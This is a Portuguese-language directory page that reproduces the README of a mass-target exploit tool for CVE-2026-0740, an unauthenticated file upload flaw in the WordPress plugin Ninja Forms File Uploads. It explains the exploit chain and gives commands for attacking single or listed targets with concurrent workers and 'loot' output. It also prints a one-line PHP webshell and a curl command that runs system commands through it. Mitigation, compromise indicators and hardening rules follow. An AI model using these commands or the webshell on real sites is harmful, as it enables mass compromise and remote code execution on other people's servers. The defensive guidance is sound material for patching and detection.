Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-0740-mass — PoC para CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — Unauthenticated Arbitrary File Upload que pode levar a RCE. | Kitploit
Ferramentas/GitHubGitHub/exdev994/cve-2026-0740-mass
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed Teaming
GitHubexdev994/cve-2026-0740-mass

CVE-2026-0740-mass

PoC para CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — Unauthenticated Arbitrary File Upload que pode levar a RCE.

Ver Repositório
11há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-0740 — Mass-Target Exploit Engine

Autor: 0xNuts
Contribuidor: Cursor
Repositório: https://github.com/ExDev994/CVE-2026-0740-mass

Prova de conceito (PoC) para CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — Upload de Arquivo Arbitrário Não Autenticado que pode levar a RCE.

A vulnerabilidade inicial foi descoberta por Sélim Lanouar (@whattheslime). O mecanismo PoC mass-target foi desenvolvido por 0xNuts com contribuição do Cursor.


Disclaimer

Este repositório é fornecido apenas para pesquisa de segurança e fins defensivos (pentest autorizado, red team com permissão por escrito, validação de patches e hardening).

  • Não utilize contra sistemas sem permissão explícita do proprietário.
  • O autor não se responsabiliza pelo uso indevido destas informações.

Resumo da Vulnerabilidade

O plugin Ninja Forms - File Uploads para WordPress é vulnerável a upload de arquivo arbitrário não autenticado em todas as versões até 3.3.26 (inclusive).

Cadeia de exploração:

  • Atacante sem autenticação obtém nonce de upload via ação AJAX nf_fu_get_new_nonce com um field_id qualquer.
  • O manipulador nf_fu_upload valida a extensão do arquivo enviado (ex.: image.jpg), mas o atacante pode sobrescrever o nome do arquivo de destino via parâmetro POST (image_jpg).
  • O nome do arquivo de destino é passado para move_uploaded_file() sem sanitização adequada → extensão arbitrária + path traversal (../).
  • Vetor / Extensão<= 3.3.243.3.253.3.263.3.27
    Path traversal (../)PASS---
    .phpPASS---
    .phtml, .pharPASSPASS--
    .phtPASSPASSPASS-
    .html, .svg, .jsPASSPASSPASS-

    Patch completo disponível na versão 3.3.27+.


    Pré-requisitos

    • Python 3.10+
    • O alvo deve ter os plugins Ninja Forms e Ninja Forms - File Uploads (<= 3.3.26) instalados e ativos
    • Não é necessário formulário ou campo de upload preexistente

    Instalação de Dependências

    Este repositório contém apenas CVE-2026-0740.py e README.md. Instale as dependências manualmente:

    root@kitploit:~
    python3 -m venv .venv
    source .venv/bin/activate          # Linux/macOS/WSL
    # .venv\Scripts\activate           # Windows
    
    pip install httpx==0.28.1 socksio==1.0.0
    

    Como Usar

    Ajuda da CLI

    root@kitploit:~
    python3 CVE-2026-0740.py -h
    

    Opções de Argumentos

    FlagFunção
    -t, --targetAlvo único (URL única)
    -f, --targets-fileArquivo .txt contendo lista de alvos (uma URL por linha)
    --shellArquivo de payload/webshell a ser enviado (obrigatório)
    -d, --destPath traversal de destino (padrão: ../../../)
    -w, --workersNúmero de threads concorrentes (padrão: 20)
    -o, --outputArquivo de loot para URLs de shell bem-sucedidas (padrão: results.txt)
    -x, --proxyProxy HTTP (ex.: http://127.0.0.1:8080)
    -H, --headersCabeçalho personalizado (formato: 'Header: Value')
    --timeoutTimeout HTTP em segundos (padrão: 10)

    Nota: Deve usar exatamente um de -t ou -f.


    Modo Alvo Único

    root@kitploit:~
    python3 CVE-2026-0740.py -t http://target.com --shell shell.php
    

    Com path traversal explícito:

    root@kitploit:~
    python3 CVE-2026-0740.py -t http://target.com --shell shell.php -d ../../../shell.php
    

    Modo Alvo em Massa

    Crie o arquivo target.txt:

    root@kitploit:~
    http://site1.com
    https://site2.com
    10.0.0.5
    # baris komentar diabaikan
    

    Execute:

    root@kitploit:~
    python3 CVE-2026-0740.py -f target.txt --shell shell.php
    

    Com ajuste de workers e output de loot:

    root@kitploit:~
    python3 CVE-2026-0740.py -f target.txt --shell shell.php -w 50 -o loot.txt
    

    As URLs de shell enviadas com sucesso serão escritas no arquivo de loot (modo append).


    Exemplo de Webshell Mínimo

    root@kitploit:~
    echo '<?php system($_GET["cmd"] ?? ""); ?>' > shell.php
    

    Após o upload bem-sucedido, o script exibe a URL do shell. Verifique (apenas em laboratório/alvo autorizado):

    root@kitploit:~
    curl "http://target.com/wp-content/shell.php?cmd=id"
    

    Detecção da Versão do Plugin (Opcional)

    root@kitploit:~
    httpx -fr -u http://target.com -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+'
    

    Como Corrigir (Mitigação)

    1. Atualizar o Plugin (Prioridade Máxima)

    Atualize o Ninja Forms - File Uploads para a versão 3.3.27 ou superior imediatamente.

    • WordPress Admin → Plugins → verifique a versão Ninja Forms - File Uploads
    • Se a atualização automática não estiver disponível, baixe a versão corrigida do fornecedor oficial

    2. Verificar o Patch

    Após a atualização:

    • Certifique-se de que a versão do plugin >= 3.3.27
    • Teste o endpoint wp-admin/admin-ajax.php com as actions nf_fu_get_new_nonce / nf_fu_upload — o upload arbitrário deve ser rejeitado
    • Escaneie novamente com o scanner (Nuclei template CVE-2026-0740) para confirmação

    3. Indicadores de Compromisso (IoC)

    Verifique os diretórios de upload do WordPress:

    root@kitploit:~
    wp-content/uploads/ninja-forms/tmp/
    wp-content/uploads/ninja-forms/
    wp-content/
    

    Procure por arquivos estranhos: .php, .pht, .phtml, .phar, .html, .svg, .js que não deveriam estar lá.

    Verifique também os logs do servidor web para requisições a:

    root@kitploit:~
    /wp-admin/admin-ajax.php
    

    com os parâmetros action=nf_fu_get_new_nonce ou action=nf_fu_upload.

    4. Hardening Adicional

    • WAF / rate limiting em /wp-admin/admin-ajax.php para bloquear abuso de upload em massa

    • Desabilitar execução PHP no diretório wp-content/uploads/ via configuração do servidor web:

      Apache (.htaccess em uploads/):

      root@kitploit:~
      <FilesMatch "\.php$">
        Require all denied
      </FilesMatch>
      

      Nginx:

      root@kitploit:~
      location ~* /wp-content/uploads/.*\.php$ {
          deny all;
      }
      
    • Menor privilégio: certifique-se de que as permissões de arquivo de upload não sejam graváveis pelo servidor web fora do diretório necessário

    • Monitoramento: alerta para POST em admin-ajax.php com action nf_fu_* de IP estrangeiro ou alto volume

    • Backup & resposta a incidentes: se IoCs forem encontrados, isole o site, altere as credenciais do DB/admin, audite outros plugins/temas

    5. Se o Plugin Não For Utilizado

    Desative e remova o plugin Ninja Forms - File Uploads se o recurso de upload não for necessário.


    Referências

    • CVE-2026-0740
    • Lexfo — Technical Deep Dive
    • Wordfence — 50,000 WordPress Sites Affected
    • GHSA-v8wq-rjpf-669f
    • Nuclei Template
    Baixar ferramenta